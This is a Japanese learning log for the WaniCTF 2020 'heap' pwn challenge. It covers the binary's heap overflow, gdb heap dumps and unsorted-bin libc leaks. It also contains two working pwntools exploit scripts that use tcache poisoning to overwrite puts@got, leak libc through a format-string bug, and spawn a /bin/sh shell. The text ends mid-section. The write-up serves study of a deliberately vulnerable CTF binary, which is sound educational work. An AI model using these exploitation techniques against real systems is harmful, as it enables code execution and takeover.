WaniCTF 2020 pwn 08 heap を勉強した記録

WaniCTF 2020 pwn 08 heap Writeup
ついにヒープバッファオーバーフローの勉強に踏み込んでしまった。
難しすぎる。
とりあえず，疑問に思ったことで，解決できたものについては解説をしてみました。
初めてヒープバッファオーバーフローに取り組む人が，偶然，WaniCTF 2020 heap を題材にするという状況ならば，参考になるところもあるかもしれません。

Heap Overflow の問題としては，連続して malloc が出来る分だけ簡単らしいです。

# 問題
nc heap.wanictf.org 9008
これが作問者の現在の限界です。

使用ツール例
pwntools
objdump
ghidra

セキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効

# 脆弱性は？

動かしてみる

```
$ ./pwn08
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 
```

Ghidraでデコンパイルしてみた

```c:command
void command(void)
{
  int iVar1;
  int iVar2;
  void *pvVar3;
  
  print_menu();
  iVar1 = get_int();
  printf("index?[0-9]: ");
  iVar2 = get_int();
  if (iVar1 == 2) {
    printf("memo?: ");
    read(0,*(void **)(g_memos + (long)iVar2 * 8),0x100);
  }
  else {
    if (iVar1 < 3) {
      if (iVar1 == 1) {
        printf("size?: ");
        iVar1 = get_int();
        pvVar3 = malloc((long)iVar1);
        *(void **)(g_memos + (long)iVar2 * 8) = pvVar3;
      }
    }
    else {
      if (iVar1 == 3) {
        puts(*(char **)(g_memos + (long)iVar2 * 8));
      }
      else {
        if (iVar1 == 9) {
          free(*(void **)(g_memos + (long)iVar2 * 8));
          *(undefined8 *)(g_memos + (long)iVar2 * 8) = 0;
        }
      }
    }
  }
  return;
}
```

|メニュー  |処理の中身  |
|---|---|
|1: add memo|g_memos[i] = malloc(size)|
|2: edit memo|read(0, g_memos[i], 0x100)|
|3: view memo|puts(g_memos[i])|
|9: del memo|free(g_memos[i]); g_memos[i]=null|

mallocはサイズ指定なのに，readで0x100まで上書きできる。
ヒープオーバーフロー

putsは文字列の終端 0x00を見つけるまで出力し続けるので，readで上手に文字を埋めれば，チャンクの垣根を越えてデータを読めそうです。

# ヒープの状態

```
add(0, 0x10)
add(1, 0x10)
add(2, 0x10)
```

を行った状態

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51
```

その後

```
edit(0, AAA)
edit(2, CCC)
```

を行うと

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x000000000a414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x000000000a434343	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

```

さらに

```
edit(1, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)
```

を行うと

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x000000000a414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x4242424242424242	0x4242424242424242
0x603290:	0x4242424242424242	0x4242424242424242
0x6032a0:	0x000000000a430a42	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51
0x6032c0:	0x0000000000000000	0x0000000000000000
0x6032d0:	0x0000000000000000	0x0000000000000000
```

ここで

```
view(1)
```

をすると

```
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
C

```

つまり，index1を表示したのにindex2に書いた Cが１文字読めてる

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x0aC\x0a が読めてる

\x0a無しでいけるのか？

AAAの後，[Enter]キーを押さず，[Ctrl]+d で入力を終わらせると

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x4242424242424242	0x4242424242424242
0x603290:	0x4242424242424242	0x4242424242424242
0x6032a0:	0x0000000000434342	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51
```

の状況が作り出せた。

```
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCC
```


# kusano氏のwriteupをベースに解く

Unsorted Binを利用したlibc leak

https://qiita.com/kusano_k/items/8177388a11d14f0efaec#heap-very-hard

kusano氏のwriteupを読み解くのに非常に参考になった xornet氏の別問題のwriteup

https://hackmd.io/@Xornet/rycqVwQpL

## 0x3ebca0 って何だ？

libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスを求めている
0x3ebca0って何だ？
xornet氏によるとgdbでオフセットを確認できるとのことだったので，真似してみる。

gdb で main_arena のアドレスを確認

```
gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7ffff7dcdc40 <main_arena>
```

main_arena のアドレスは，0x7ffff7dcdc40

gdb で libc base のアドレスを確認

```
gdb-peda$ info proc map
process 2115
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/sita/share/pwn08
            0x601000           0x602000     0x1000     0x1000 /home/sita/share/pwn08
            0x602000           0x603000     0x1000     0x2000 /home/sita/share/pwn08
      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000        0x0 
      0x7ffff7dd3000     0x7ffff7dfc000    0x29000        0x0 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7fe5000     0x7ffff7fe7000     0x2000        0x0 
      0x7ffff7ff8000     0x7ffff7ffb000     0x3000        0x0 [vvar]
      0x7ffff7ffb000     0x7ffff7ffc000     0x1000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
```

libc base のアドレスは，0x7ffff79e2000

main_arena のアドレスは，0x7ffff7dcdc40だったのでオフセットを求めると 0x3ebc40 となる。
0x3ebca0に近いけど 0x60 違う

「サイズが大きいチャンクはtcacheやfastbinでは無く一度Unsorted Binへ放り込まれ、そのfdがmain_arena.topに相当するアドレスを指す」とのこと。

topの値は，

```
gdb-peda$ p main_arena
$2 = {
  mutex = 0x0, 
  flags = 0x0, 
  have_fastchunks = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dcdc40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x0, 
  max_system_mem = 0x0
}
```

mallocが呼ばれないとtopの値は0のまま

mallocまで進めてからtopの値を再確認

```
gdb-peda$ p main_arena
$3 = {
  mutex = 0x0, 
  flags = 0x0, 
  have_fastchunks = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603270, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dcdca0 <main_arena+96>, 0x7ffff7dcdca0 <main_arena+96>, 
    0x7ffff7dcdcb0 <main_arena+112>, 0x7ffff7dcdcb0 <main_arena+112>, 
    0x7ffff7dcdcc0 <main_arena+128>, 0x7ffff7dcdcc0 <main_arena+128>, 
    0x7ffff7dcdcd0 <main_arena+144>, 0x7ffff7dcdcd0 <main_arena+144>, 
    0x7ffff7dcdce0 <main_arena+160>, 0x7ffff7dcdce0 <main_arena+160>, 
    0x7ffff7dcdcf0 <main_arena+176>, 0x7ffff7dcdcf0 <main_arena+176>, 
    0x7ffff7dcdd00 <main_arena+192>, 0x7ffff7dcdd00 <main_arena+192>, 
    0x7ffff7dcdd10 <main_arena+208>, 0x7ffff7dcdd10 <main_arena+208>, 
    0x7ffff7dcdd20 <main_arena+224>, 0x7ffff7dcdd20 <main_arena+224>, 
    0x7ffff7dcdd30 <main_arena+240>, 0x7ffff7dcdd30 <main_arena+240>, 
    0x7ffff7dcdd40 <main_arena+256>, 0x7ffff7dcdd40 <main_arena+256>, 
    0x7ffff7dcdd50 <main_arena+272>, 0x7ffff7dcdd50 <main_arena+272>, 
    0x7ffff7dcdd60 <main_arena+288>, 0x7ffff7dcdd60 <main_arena+288>, 
    0x7ffff7dcdd70 <main_arena+304>, 0x7ffff7dcdd70 <main_arena+304>, 
    0x7ffff7dcdd80 <main_arena+320>, 0x7ffff7dcdd80 <main_arena+320>, 
    0x7ffff7dcdd90 <main_arena+336>, 0x7ffff7dcdd90 <main_arena+336>, 
    0x7ffff7dcdda0 <main_arena+352>, 0x7ffff7dcdda0 <main_arena+352>, 
    0x7ffff7dcddb0 <main_arena+368>, 0x7ffff7dcddb0 <main_arena+368>, 
    0x7ffff7dcddc0 <main_arena+384>, 0x7ffff7dcddc0 <main_arena+384>, 
    0x7ffff7dcddd0 <main_arena+400>, 0x7ffff7dcddd0 <main_arena+400>, 
    0x7ffff7dcdde0 <main_arena+416>, 0x7ffff7dcdde0 <main_arena+416>, 
    0x7ffff7dcddf0 <main_arena+432>, 0x7ffff7dcddf0 <main_arena+432>, 
    0x7ffff7dcde00 <main_arena+448>, 0x7ffff7dcde00 <main_arena+448>, 
    0x7ffff7dcde10 <main_arena+464>, 0x7ffff7dcde10 <main_arena+464>, 
    0x7ffff7dcde20 <main_arena+480>, 0x7ffff7dcde20 <main_arena+480>, 
    0x7ffff7dcde30 <main_arena+496>, 0x7ffff7dcde30 <main_arena+496>, 
    0x7ffff7dcde40 <main_arena+512>, 0x7ffff7dcde40 <main_arena+512>, 
    0x7ffff7dcde50 <main_arena+528>, 0x7ffff7dcde50 <main_arena+528>, 
    0x7ffff7dcde60 <main_arena+544>, 0x7ffff7dcde60 <main_arena+544>, 
    0x7ffff7dcde70 <main_arena+560>, 0x7ffff7dcde70 <main_arena+560>, 
    0x7ffff7dcde80 <main_arena+576>, 0x7ffff7dcde80 <main_arena+576>, 
    0x7ffff7dcde90 <main_arena+592>, 0x7ffff7dcde90 <main_arena+592>, 
    0x7ffff7dcdea0 <main_arena+608>, 0x7ffff7dcdea0 <main_arena+608>, 
    0x7ffff7dcdeb0 <main_arena+624>, 0x7ffff7dcdeb0 <main_arena+624>, 
    0x7ffff7dcdec0 <main_arena+640>, 0x7ffff7dcdec0 <main_arena+640>, 
    0x7ffff7dcded0 <main_arena+656>, 0x7ffff7dcded0 <main_arena+656>, 
    0x7ffff7dcdee0 <main_arena+672>, 0x7ffff7dcdee0 <main_arena+672>, 
    0x7ffff7dcdef0 <main_arena+688>, 0x7ffff7dcdef0 <main_arena+688>, 
    0x7ffff7dcdf00 <main_arena+704>, 0x7ffff7dcdf00 <main_arena+704>, 
    0x7ffff7dcdf10 <main_arena+720>, 0x7ffff7dcdf10 <main_arena+720>, 
    0x7ffff7dcdf20 <main_arena+736>, 0x7ffff7dcdf20 <main_arena+736>, 
    0x7ffff7dcdf30 <main_arena+752>, 0x7ffff7dcdf30 <main_arena+752>, 
    0x7ffff7dcdf40 <main_arena+768>, 0x7ffff7dcdf40 <main_arena+768>, 
    0x7ffff7dcdf50 <main_arena+784>, 0x7ffff7dcdf50 <main_arena+784>, 
    0x7ffff7dcdf60 <main_arena+800>, 0x7ffff7dcdf60 <main_arena+800>, 
    0x7ffff7dcdf70 <main_arena+816>, 0x7ffff7dcdf70 <main_arena+816>, 
    0x7ffff7dcdf80 <main_arena+832>, 0x7ffff7dcdf80 <main_arena+832>, 
    0x7ffff7dcdf90 <main_arena+848>, 0x7ffff7dcdf90 <main_arena+848>, 
    0x7ffff7dcdfa0 <main_arena+864>, 0x7ffff7dcdfa0 <main_arena+864>, 
    0x7ffff7dcdfb0 <main_arena+880>, 0x7ffff7dcdfb0 <main_arena+880>, 
    0x7ffff7dcdfc0 <main_arena+896>, 0x7ffff7dcdfc0 <main_arena+896>, 
    0x7ffff7dcdfd0 <main_arena+912>, 0x7ffff7dcdfd0 <main_arena+912>, 
    0x7ffff7dcdfe0 <main_arena+928>, 0x7ffff7dcdfe0 <main_arena+928>, 
    0x7ffff7dcdff0 <main_arena+944>, 0x7ffff7dcdff0 <main_arena+944>, 
    0x7ffff7dce000 <main_arena+960>, 0x7ffff7dce000 <main_arena+960>, 
    0x7ffff7dce010 <main_arena+976>, 0x7ffff7dce010 <main_arena+976>, 
    0x7ffff7dce020 <main_arena+992>, 0x7ffff7dce020 <main_arena+992>, 
    0x7ffff7dce030 <main_arena+1008>, 0x7ffff7dce030 <main_arena+1008>, 
    0x7ffff7dce040 <main_arena+1024>, 0x7ffff7dce040 <main_arena+1024>, 
    0x7ffff7dce050 <main_arena+1040>, 0x7ffff7dce050 <main_arena+1040>, 
    0x7ffff7dce060 <main_arena+1056>, 0x7ffff7dce060 <main_arena+1056>, 
    0x7ffff7dce070 <main_arena+1072>, 0x7ffff7dce070 <main_arena+1072>, 
    0x7ffff7dce080 <main_arena+1088>, 0x7ffff7dce080 <main_arena+1088>, 
    0x7ffff7dce090 <main_arena+1104>, 0x7ffff7dce090 <main_arena+1104>, 
    0x7ffff7dce0a0 <main_arena+1120>, 0x7ffff7dce0a0 <main_arena+1120>, 
    0x7ffff7dce0b0 <main_arena+1136>, 0x7ffff7dce0b0 <main_arena+1136>, 
    0x7ffff7dce0c0 <main_arena+1152>, 0x7ffff7dce0c0 <main_arena+1152>, 
    0x7ffff7dce0d0 <main_arena+1168>, 0x7ffff7dce0d0 <main_arena+1168>, 
    0x7ffff7dce0e0 <main_arena+1184>, 0x7ffff7dce0e0 <main_arena+1184>, 
    0x7ffff7dce0f0 <main_arena+1200>, 0x7ffff7dce0f0 <main_arena+1200>, 
    0x7ffff7dce100 <main_arena+1216>, 0x7ffff7dce100 <main_arena+1216>, 
    0x7ffff7dce110 <main_arena+1232>, 0x7ffff7dce110 <main_arena+1232>, 
    0x7ffff7dce120 <main_arena+1248>, 0x7ffff7dce120 <main_arena+1248>, 
    0x7ffff7dce130 <main_arena+1264>, 0x7ffff7dce130 <main_arena+1264>, 
    0x7ffff7dce140 <main_arena+1280>, 0x7ffff7dce140 <main_arena+1280>, 
    0x7ffff7dce150 <main_arena+1296>, 0x7ffff7dce150 <main_arena+1296>, 
    0x7ffff7dce160 <main_arena+1312>, 0x7ffff7dce160 <main_arena+1312>, 
    0x7ffff7dce170 <main_arena+1328>, 0x7ffff7dce170 <main_arena+1328>, 
    0x7ffff7dce180 <main_arena+1344>, 0x7ffff7dce180 <main_arena+1344>, 
    0x7ffff7dce190 <main_arena+1360>, 0x7ffff7dce190 <main_arena+1360>, 
    0x7ffff7dce1a0 <main_arena+1376>, 0x7ffff7dce1a0 <main_arena+1376>, 
    0x7ffff7dce1b0 <main_arena+1392>, 0x7ffff7dce1b0 <main_arena+1392>, 
    0x7ffff7dce1c0 <main_arena+1408>, 0x7ffff7dce1c0 <main_arena+1408>, 
    0x7ffff7dce1d0 <main_arena+1424>, 0x7ffff7dce1d0 <main_arena+1424>, 
    0x7ffff7dce1e0 <main_arena+1440>, 0x7ffff7dce1e0 <main_arena+1440>, 
    0x7ffff7dce1f0 <main_arena+1456>, 0x7ffff7dce1f0 <main_arena+1456>, 
    0x7ffff7dce200 <main_arena+1472>, 0x7ffff7dce200 <main_arena+1472>, 
    0x7ffff7dce210 <main_arena+1488>, 0x7ffff7dce210 <main_arena+1488>, 
    0x7ffff7dce220 <main_arena+1504>, 0x7ffff7dce220 <main_arena+1504>, 
    0x7ffff7dce230 <main_arena+1520>, 0x7ffff7dce230 <main_arena+1520>, 
    0x7ffff7dce240 <main_arena+1536>, 0x7ffff7dce240 <main_arena+1536>, 
    0x7ffff7dce250 <main_arena+1552>, 0x7ffff7dce250 <main_arena+1552>, 
    0x7ffff7dce260 <main_arena+1568>, 0x7ffff7dce260 <main_arena+1568>, 
    0x7ffff7dce270 <main_arena+1584>, 0x7ffff7dce270 <main_arena+1584>, 
    0x7ffff7dce280 <main_arena+1600>, 0x7ffff7dce280 <main_arena+1600>, 
    0x7ffff7dce290 <main_arena+1616>, 0x7ffff7dce290 <main_arena+1616>, 
    0x7ffff7dce2a0 <main_arena+1632>, 0x7ffff7dce2a0 <main_arena+1632>, 
    0x7ffff7dce2b0 <main_arena+1648>, 0x7ffff7dce2b0 <main_arena+1648>, 
    0x7ffff7dce2c0 <main_arena+1664>, 0x7ffff7dce2c0 <main_arena+1664>, 
    0x7ffff7dce2d0 <main_arena+1680>, 0x7ffff7dce2d0 <main_arena+1680>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dcdc40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}
```

topの値は，0x603270

main_arena付近のメモリから，0x603270を探す

```
gdb-peda$ x/16xg &main_arena
0x7ffff7dcdc40 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc50 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc80 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc90 <main_arena+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdca0 <main_arena+96>:	0x0000000000603270	0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
```

0x603270は，アドレスmain_arena+96にあった。
96 = 0x60
さっきの差の正体がわかった。

Unsorted Binを利用したlibc leakで判明するアドレスは，main_arena.topのアドレス。
main_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
厳密にはlibc-2.27.soにおけるmain_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0

よって，libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスが求まる

## libc leak の確認

```python
add(0, 0x10)
add(1, 0x410)
delete(1)
```

だと

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000020d91
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000000
```

何もない

```python
add(0, 0x10)
add(1, 0x410)
add(2, 0x10)
delete(1)
```

だと

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
0x603290:	0x0000000000000000	0x0000000000000000
```

欲しいものが入ってる。


## fd って何？

この資料に出会うまで，さっぱりわからなかった。

http://kyuri.hatenablog.jp/entry/2017/04/21/152626

「fd, bkメンバは使用中のchunkでは存在しない」ですと，どおりでgdbで追っても理解できないわけだ。
自分が調べた中では，唯一，fdがfreeした後で書かれると記述された素晴らしい資料だ。

## __free_hook って何？

https://hackmd.io/@theoldmoon0602/rJf0IS9mB

https://linuxjm.osdn.jp/html/LDP_man-pages/man3/__malloc_initialize_hook.3.html

一応，システムがあらかじめ用意しているバックドア的なものと認識

## 最初からsystem("/bin/sh")をとるまで

チャンクを作っていく

```
add(0, 0x10)    RAX: 0x603260 --> 0x0 
add(1, 0x410)   RAX: 0x603280 --> 0x0 
add(2, 0x10)    RAX: 0x6036a0 --> 0x0 
add(3, 0x10)    RAX: 0x6036c0 --> 0x0 
add(4, 0x10)    RAX: 0x6036e0 --> 0x0 
```

作った直後にfdは無い

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x0000000000000000	0x0000000000000000  <-- 1
0x603290:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6036b0:	0x0000000000000000	0x0000000000000021
0x6036c0:	0x0000000000000000	0x0000000000000000  <---3
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911

```

libcリーク

```
delete(1)
```

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0  <-- main_arena.top
0x603290:	0x0000000000000000	0x0000000000000000
```

何の布石？

```
delete(3)
```

```
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6036b0:	0x0000000000000000	0x0000000000000021
0x6036c0:	0x0000000000000000	0x0000000000603010  <-- free(3)
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911
```

0x603010 何だ？

```
gdb-peda$ x/16xg 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000000000000001	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
```

```
edit(2, b"x"*0x20+pack(libc.symbols.__free_hook))
```

__free_hookのアドレスのかわりに 0x604042を入れてみる
※0x604042に意味はありません。ASCII文字でセグフォにならないアドレスというだけです。

```
command?: 2
index?[0-9]: 2
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
```

```
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x4141414141414141	0x4141414141414141  <-- edit(2)
0x6036b0:	0x4141414141414141	0x4141414141414141
0x6036c0:	0x0000000000604042	0x0000000000603010
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911
```

```
add(5, 0x10)
```

```
RAX: 0x6036c0 --> 0x604042 --> 0x0 
```

```
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x4141414141414141	0x4141414141414141  <-- 2
0x6036b0:	0x4141414141414141	0x4141414141414141
0x6036c0:	0x0000000000604042	0x0000000000000000  <-- 5
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911
```

ヒープバッファオーバーフローで書き込んだ 0x604042 が残ってる
これを使ってしまえば， UAF ( Use After Free ) ってこと？


```
add(6, 0x10)
```

```
RAX: 0x604042 --> 0x0 
```

おー狙ったアドレスにヒープが割り当てられた。

```
edit(6, pack(libc.symbols.system))
edit(0, b"/bin/sh\0")
delete(0)
```

__free_hookのアドレスに，systemのアドレスを書き込み
チャンク(0)に引数を書き込んで
free(0)でフックをキックしている。

kusano氏の攻撃コードは，そのまんまで動きました。
コードが気になる方はkusano氏のページで確認してください。

簡単に要点をまとめると
大きいサイズのチャンクをfreeするとmain_arena.topのアドレスがfdに書かれるのでlibc base アドレスをとれる（＝systemのアドレスがとれる）
__free_hookにsystem()のアドレスを書き込んだ状態で，"bin/sh\x00"を書き込んだチャンクをfreeしたらsystem("/bin/sh")が走る。
　
# satoooon氏のwriteupをベースに解く

Format String Bugを利用したlibc leak

https://satoooon1024.hatenablog.com/entry/2020/11/23/200954

satoooon氏のwriteupを読み解くのに非常に参考になった yudai氏のwriteup

https://bitbucket.org/ptr-yudai/writeups-2020/src/master/WaniCTF/heap/solve.py

こんどは libc leak に FSBをつかっているようです。
そしてsystem("/bin/sh\x00")をやるのにputs@gotを書き換えてる

## FSBって何？

https://gist.github.com/hhc0null/08c43983b4551f506722

%llx

https://qiita.com/chromabox/items/13f85e51afa9a875042c

## 攻撃コード

satoooon氏のコードはコピペだと動かない仕様だったので，つぎはぎして動くようにしてみました。

```python:pwn082.py
# coding: UTF-8
from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    # debugは動かない
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file) 
    return io

file = "./pwn08"
libc = "./libc-2.27.so"
nc = "nc heap.wanictf.org 9008"

chall = ELF(file)
libc = ELF(libc)

io = get_io()

def add(index, size):
    io.recvuntil("command?: ")
    io.sendline("1")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))
    io.recvuntil("size?: ")
    io.sendline(str(size))

def edit(index, data):
    io.recvuntil("command?: ")
    io.sendline("2")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))
    io.recvuntil("memo?: ")
    io.sendline(data)

def view(index):
    io.recvuntil("command?: ")
    io.sendline("3")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))

def delete(index):
    io.recvuntil("command?: ")
    io.sendline("9")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))

add(0, 20)
add(1, 20)
add(2, 20)
delete(2)
delete(1)
# tcache => 1 => 2

payload = b""
payload += b"A" * 0x18
payload += p64(0x21) # size
payload += p64(chall.got["puts"]) # fd
payload += p64(0) # key
edit(0, payload)

delete(1)
# tcache => 1 => puts@got
add(1, 20)
# tcache => puts@got
add(2, 20)  # 2のアドレスがputs@gotになる

# FSB用のチャンク
add(3, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(2, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(3, "%11$llx")

view(3)
io.recvuntil("***** 3 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))

libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))

# puts@gotをsystemに置き換える
edit(2, p64(libc.sym["system"]))
edit(3, "/bin/sh\x00")

io.interactive()
```

## ctf4b Beginner’s Heap風に
SECCON Beginners CTF 2020 Beginner’s Heap風に，連続して malloc できない制約下で攻撃コードを書いてみた。

参考にした作問者writeup

https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914


```python:pwn084.py
（前半部分は省略）
add(0, 20) #このアドレスを A とする（bofはあるがfreeできない制約がある）
add(1, 20) #このアドレスを B とする（mallocとfreeができるが，mallocサイズは0x18固定）
delete(1)
# (0x20) tcache  -->  B

payload = b""
payload += b"A" * 0x18
payload += p64(0x30) # <-- ★★★ここが重要
payload += p64(chall.got["puts"])
edit(0, payload)
# (0x20) tcache  -->  B  -->  puts@got
# サイズのチェックしてない

add(1, 20) 
# (0x20) tcache  -->  puts@got

delete(1)
# (0x30) tcache  -->  B
# (0x20) tcache  -->  puts@got

add(1, 20) # 1のアドレスがputs@gotになる

# FSB用のチャンク
add(5, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(1, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(5, "%11$llx")

view(5)
io.recvuntil("***** 5 *****\n")

view_data = io.recvline()
log.info("view_data = %s" % view_data)

libc_leak = int(view_data,16)

log.info("leak: = %s" % hex(libc_leak))

libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))

# puts@gotをsystemに置き換える
edit(1, p64(libc.sym["system"]))
edit(5, "/bin/sh\x00")
```


# Pwngdb との出会い

チャンクはmallocの戻り値でアドレスがわかっていたのでgdbでのぞいていたが，tcacheをどうやって見るのかわからなかった。
が，わかった。
gdb for pwnをインストールすれば，見れそうだ。

## Pwngdb のインストール

https://github.com/scwuaptx/Pwngdb

## 狙ったアドレスにヒープを作成する

まず，最初に狙ったアドレスにヒープを作成するのをやってみます。

```
add(0, 16)
add(1, 16)
add(2, 16)
```

```
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000  <-- 1
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

```
del(1)
```

```
gdb-peda$ x/16xg 0x603260
